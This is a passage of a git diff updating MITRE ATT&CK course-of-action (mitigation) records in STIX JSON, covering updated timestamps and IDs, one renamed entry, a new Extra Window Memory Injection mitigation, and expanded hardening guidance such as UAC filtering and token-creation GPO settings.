+    "id": "bundle--85deca48-258e-495d-a90f-27704a756a5d",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--bcc91b8c-f104-4710-964e-1d5409666736",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Shell Mitigation",
             "description": "Ensure that externally facing Web servers are patched regularly to prevent adversary access through Exploitation of Vulnerability to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. \n\nAudit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e.json b/enterprise-attack/course-of-action/course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e.json
index 6aa67b0563..f16a2b5976 100644
--- a/enterprise-attack/course-of-action/course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e.json
+++ b/enterprise-attack/course-of-action/course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e.json
@@ -1,21 +1,25 @@
 {
     "type": "bundle",
-    "id": "bundle--c4ce90e1-3cb5-428f-be09-13bafff3cca7",
+    "id": "bundle--e49fa203-c12f-4ac3-9270-0dc93909a73c",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--bcee7b05-89a6-41a5-b7aa-fce4da7ede9e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Pass the Hash Mitigation",
-            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. Limit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
+            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to Valid Accounts. Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1075",
                     "external_id": "T1075"
+                },
+                {
+                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering",
+                    "description": "NSA IAD. (2017, January 24). Secure-Host-Baseline/Windows/Group Policy Templates/en-US/SecGuide.adml. Retrieved December 18, 2017."
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae.json b/enterprise-attack/course-of-action/course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae.json
index 50039a8dca..a024096889 100644
--- a/enterprise-attack/course-of-action/course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae.json
+++ b/enterprise-attack/course-of-action/course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--8ef71eeb-d8eb-461f-8faa-8e566039e516",
+    "id": "bundle--77a74178-5c79-4e39-abf7-b8b5f6a89b97",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--bd2554b8-634f-4434-a986-9b49c29da2ae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Security Software Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f.json b/enterprise-attack/course-of-action/course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f.json
index 2dc18bc924..86637117ef 100644
--- a/enterprise-attack/course-of-action/course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f.json
+++ b/enterprise-attack/course-of-action/course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--bd3fbe44-4315-4d43-9142-df3aa75f03eb",
+    "id": "bundle--470ca247-2fd7-4a4f-82b5-e686e80f1d97",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Bypass User Account Control Mitigation",
             "description": "Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as DLL Search Order Hijacking. \n\nCheck for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8.json b/enterprise-attack/course-of-action/course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8.json
index 4eb38959cd..241753f2ac 100644
--- a/enterprise-attack/course-of-action/course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8.json
+++ b/enterprise-attack/course-of-action/course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--f5d9d85b-9d06-47b8-9a76-ac3429896fd5",
+    "id": "bundle--02c5690f-09d8-4639-9d86-1ef032500b91",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c085476e-1964-4d7f-86e1-d8657a7741e8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Accessibility Features Mitigation",
             "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--c1676218-c16a-41c9-8f7a-023779916e39.json b/enterprise-attack/course-of-action/course-of-action--c1676218-c16a-41c9-8f7a-023779916e39.json
index 3b0c39a665..d8b4df3735 100644
--- a/enterprise-attack/course-of-action/course-of-action--c1676218-c16a-41c9-8f7a-023779916e39.json
+++ b/enterprise-attack/course-of-action/course-of-action--c1676218-c16a-41c9-8f7a-023779916e39.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--cfeefddb-72a2-4637-8647-342fcf5a23d9",
+    "id": "bundle--3f9a1896-cecb-4f4d-aef4-a20a4b114e5a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c1676218-c16a-41c9-8f7a-023779916e39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Network Connections Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482.json b/enterprise-attack/course-of-action/course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482.json
index 87e2fcc49f..c5c1fc40f4 100644
--- a/enterprise-attack/course-of-action/course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482.json
+++ b/enterprise-attack/course-of-action/course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--dc9905c6-2031-4f91-812d-d100f9339eea",
+    "id": "bundle--9a3be855-5c03-442b-b498-c631326021da",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rc.common Mitigation",
             "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e.json b/enterprise-attack/course-of-action/course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e.json
index 25d63adf3e..09351e10b5 100644
--- a/enterprise-attack/course-of-action/course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e.json
+++ b/enterprise-attack/course-of-action/course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--a5673dc2-68b0-4b0c-af7c-d3a8385e6ede",
+    "id": "bundle--329c63a5-aae5-413a-af2a-be3cdd6d2368",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c47a9b55-8f61-4b82-b833-1db6242c754e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
-            "name": "Cron Job Mitigation",
-            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks.  Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Local Job Scheduling Mitigation",
+            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
diff --git a/enterprise-attack/course-of-action/course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6.json b/enterprise-attack/course-of-action/course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6.json
index 5de49c3f66..cf199fe063 100644
--- a/enterprise-attack/course-of-action/course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6.json
+++ b/enterprise-attack/course-of-action/course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6.json
@@ -1,21 +1,31 @@
 {
     "type": "bundle",
-    "id": "bundle--47104e72-7e71-4a48-8cb1-ecd08e1bc893",
+    "id": "bundle--0f63120a-f4da-4155-b6c9-decb71edb749",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Access Token Manipulation Mitigation",
-            "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off.  However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials.  Follow mitigation guidelines for preventing adversary use of Valid Accounts.\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
+            "description": "Access tokens are an integral part of the security system within Windows and cannot be turned off.  However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job.\n\nAny user can also spoof access tokens if they have legitimate credentials.  Follow mitigation guidelines for preventing adversary use of Valid Accounts. Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token)\n\nAlso limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1134",
                     "external_id": "T1134"
+                },
+                {
+                    "source_name": "Microsoft Create Token",
+                    "description": "Brower, N., Lich, B. (2017, April 19). Create a token object. Retrieved December 19, 2017.",
+                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/create-a-token-object"
+                },
+                {
+                    "source_name": "Microsoft Replace Process Token",
+                    "description": "Brower, N., Lich, B. (2017, April 19). Replace a process level token. Retrieved December 19, 2017.",
+                    "url": "https://docs.microsoft.com/windows/device-security/security-policy-settings/replace-a-process-level-token"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67.json b/enterprise-attack/course-of-action/course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67.json
index b58e06f953..239e167af8 100644
--- a/enterprise-attack/course-of-action/course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67.json
+++ b/enterprise-attack/course-of-action/course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--401c472f-a9b3-4216-867c-5192780a71b1",
+    "id": "bundle--547d59f8-3ed6-4fff-988e-d62c36b0bcc5",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c620e3a1-fff5-424f-abea-d2b0f3616f67",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Information Discovery Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--c88151a5-fe3f-4773-8147-d801587065a4.json b/enterprise-attack/course-of-action/course-of-action--c88151a5-fe3f-4773-8147-d801587065a4.json
index 332f9b87da..02a8ffde21 100644
--- a/enterprise-attack/course-of-action/course-of-action--c88151a5-fe3f-4773-8147-d801587065a4.json
+++ b/enterprise-attack/course-of-action/course-of-action--c88151a5-fe3f-4773-8147-d801587065a4.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--e7ee479c-3044-46e3-8400-db42538a732c",
+    "id": "bundle--f1ddddf3-22e4-4ec3-814b-6204026092fa",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Deployment Software Mitigation",
             "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through Exploitation of Vulnerability. \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502.json b/enterprise-attack/course-of-action/course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502.json
index a60a7b8322..e8c67fa417 100644
--- a/enterprise-attack/course-of-action/course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502.json
+++ b/enterprise-attack/course-of-action/course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--dc8163e2-8c69-46c8-82eb-131cb0bd2b45",
+    "id": "bundle--c8ba8b23-5c18-444b-8b79-af6fc47aab60",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--c95c8b5c-b431-43c9-9557-f494805e2502",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Software Packing Mitigation",
             "description": "Ensure updated virus definitions. Create custom signatures for observed malware. Employ heuristic-based malware detection.\n\nIdentify and prevent execution of potentially malicious software that may have been packed by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440.json b/enterprise-attack/course-of-action/course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440.json
new file mode 100644
index 0000000000..923d4e6713
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440.json
@@ -0,0 +1,48 @@
+{
+    "type": "bundle",
+    "id": "bundle--66c27ac2-d1f0-4a87-8058-448239ed59c1",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Extra Window Memory Injection Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1181",
+                    "external_id": "T1181"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                },
+                {
+                    "source_name": "Corio 2008",
+                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
+                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx"
+                },
+                {
+                    "source_name": "TechNet Applocker vs SRP",
+                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
+                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a.json b/enterprise-attack/course-of-action/course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a.json
index 23497b58f1..b853e324ec 100644
--- a/enterprise-attack/course-of-action/course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a.json
+++ b/enterprise-attack/course-of-action/course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--57109e21-2343-4b04-89ab-0c1f6374c61a",
+    "id": "bundle--829fcec4-a265-45a7-9e2f-03468a02e7b6",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--cdecc44a-1dbf-4c1f-881c-f21e3f47272a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote File Copy Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f.json b/enterprise-attack/course-of-action/course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f.json
index 0db52a9aab..c73680df69 100644
--- a/enterprise-attack/course-of-action/course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f.json
+++ b/enterprise-attack/course-of-action/course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--05d305c0-97d5-4a35-ae63-e68d04645d8c",
+    "id": "bundle--09c7b32c-09db-442e-a6f5-c672cd314c95",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Application Shimming Mitigation",
             "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf.json b/enterprise-attack/course-of-action/course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf.json
index 9f281b25b3..9c52b17bbe 100644
--- a/enterprise-attack/course-of-action/course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf.json
+++ b/enterprise-attack/course-of-action/course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--fe48764b-e7eb-4526-9b6c-3e2830d83d47",
+    "id": "bundle--9e6989b8-76c3-4f72-886a-fffbaf6d8000",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through Module Load Mitigation",
             "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0.json b/enterprise-attack/course-of-action/course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0.json
index 7b08111fa6..3ca0a4c7a4 100644
--- a/enterprise-attack/course-of-action/course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0.json
+++ b/enterprise-attack/course-of-action/course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--73fff3f4-db38-4b0e-8bf5-9cf50bf46a58",
+    "id": "bundle--91a834d0-e485-46fe-bb73-4619c08306f1",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--d01f473f-3cdc-4867-9e55-1de9cf1986f0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Deobfuscate/Decode Files or Information Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2.json b/enterprise-attack/course-of-action/course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2.json
index f01dc7c779..9f4e5c50ce 100644
--- a/enterprise-attack/course-of-action/course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2.json
+++ b/enterprise-attack/course-of-action/course-of-action--d0415180-51e9-40ce-b57c-c332b0b441f2.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ddbc0d39-422b-4a0f-a013-a81d4a02dd07",
